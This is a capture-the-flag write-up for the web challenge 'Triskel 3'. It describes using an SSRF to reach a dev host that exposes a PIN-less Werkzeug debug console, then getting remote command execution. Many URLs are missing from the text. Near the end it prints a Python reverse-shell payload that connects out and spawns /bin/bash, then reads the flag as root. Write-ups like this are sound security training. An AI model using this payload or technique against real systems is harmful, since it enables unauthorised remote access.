Triskel 3 : Dead end

Web, 49 points


You are admin now... Anyway now you can't access any information or have more privileges so I guess it's the end of your journey haha!

by Remsio


First thing we notice in the administration panel, after flagging Triskel 2, is the cookie entitled confidential_documents which contains, URL encoded We head back to our previously discovered SSRF to get more information with this link: We got the associated IP address to this domain name with the response: Cant connect to API :

From this, we tried several things such as fetching documents, trying to inject another documents by replacing the targeted document with one we created on a server we manage, like if it was a REST API. These are some of our tries:

We tried server-side template injection with tplmap (cf., without any success. We tried fuzzing with Burp as we thought it was a REST API:{number}

This led us to a dead end too. Out of ideas, we even tried some NoSQLi: nothing again.

Finally, we got back to the administration panel and we noticed a green highlighted detail API Powered by Werkzeug. It is a Python WSGI web application library which is frequently used (cf. We were pretty sure the challenge was about that now. We directly tried to access Werkzeug's console with this link: Still nothing.

We were hopeless and decided to launch a dirb on the IP address. We discovered then the dev machine at MAN! How did we not think about that before ? We could have found that more easily with the associated domain name and this link to retrieve its IP address:

We decided to try the same URLs we did for the production domain name then:

And results were quite different, we noticed notably that the application had the debugger mode enabled and in one document, someone deactivated the PIN to access the Werkzeug console:

Are you kidding me? Who deactivated the PIN to access dev platform console??? ヽ(`Д´)ノ

From this, we documented ourselves a bit more with these resources, and some Werkzeug code at We ended up with a Remote Command Execution (RCE), e.g. with this dummy link: At the time we were on this challenge, a team already solved the next step, hence we thought it would be better if we get a reverse shell directly to flag Triskel 3 and to be more comfortable for Triskel 4, that's what we did.

We struggled a lot to get this reverse shell as Werkzeug configuration made it impossible for us to execute multiple commands at the same time, thereby we couldn't get two reverse shells at a time. Which means that if a command is being processed by Werkzeug we can't do anything else with the application. For every wrong command we did, the server crashed and we had to ask the staff to reboot our machine, that was exhausting.

With some specific URL encoding with CyberChef and timeout handling to avoid getting stuck and asking for a reboot, we ended up with a reverse shell with this payload:

import os; os.system("timeout 600 python -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('',19194));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('/bin/bash')\"")

Then we flag:

root@kontammadur_klanvour:/app# cat /flag.txt

results matching ""

    No results matching ""